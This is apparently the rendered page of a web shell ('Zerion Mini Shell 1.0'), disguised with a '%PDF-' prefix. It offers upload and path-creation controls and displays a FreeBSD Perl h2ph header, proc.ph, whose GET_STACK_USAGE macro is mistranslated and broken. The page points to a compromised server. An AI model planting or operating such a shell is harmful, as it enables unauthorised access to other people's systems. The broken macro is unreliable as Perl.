%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/perl5/site_perl/mach/5.32/machine/
Upload File :
Create Path :
Current File : //usr/local/lib/perl5/site_perl/mach/5.32/machine/proc.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_MACHINE_PROC_H_)) {
    eval 'sub _MACHINE_PROC_H_ () {1;}' unless defined(&_MACHINE_PROC_H_);
    require 'sys/queue.ph';
    require 'machine/pcb.ph';
    require 'machine/segments.ph';
    eval 'sub PMAP_INVL_GEN_NEXT_INVALID () {0x1;}' unless defined(&PMAP_INVL_GEN_NEXT_INVALID);
    eval 'sub P_MD_KPTI () {0x1;}' unless defined(&P_MD_KPTI);
    eval 'sub P_MD_LA48 () {0x2;}' unless defined(&P_MD_LA48);
    eval 'sub P_MD_LA57 () {0x4;}' unless defined(&P_MD_LA57);
    eval 'sub KINFO_PROC_SIZE () {1088;}' unless defined(&KINFO_PROC_SIZE);
    eval 'sub KINFO_PROC32_SIZE () {768;}' unless defined(&KINFO_PROC32_SIZE);
    if(defined(&_KERNEL)) {
	eval 'sub GET_STACK_USAGE {
	    my($total, $used) = @_;
    	    eval q( &do { \'struct thread\' * &td =  &curthread; =  ($td->{td_kstack_pages}) *  &PAGE_SIZE; =  ($td->{td_kstack}) +  ($td->{td_kstack_pages}) *  &PAGE_SIZE -  &td; }  &while (0));
	}' unless defined(&GET_STACK_USAGE);
	eval 'sub NARGREGS () {6;}' unless defined(&NARGREGS);
    }
}
1;

Zerion Mini Shell 1.0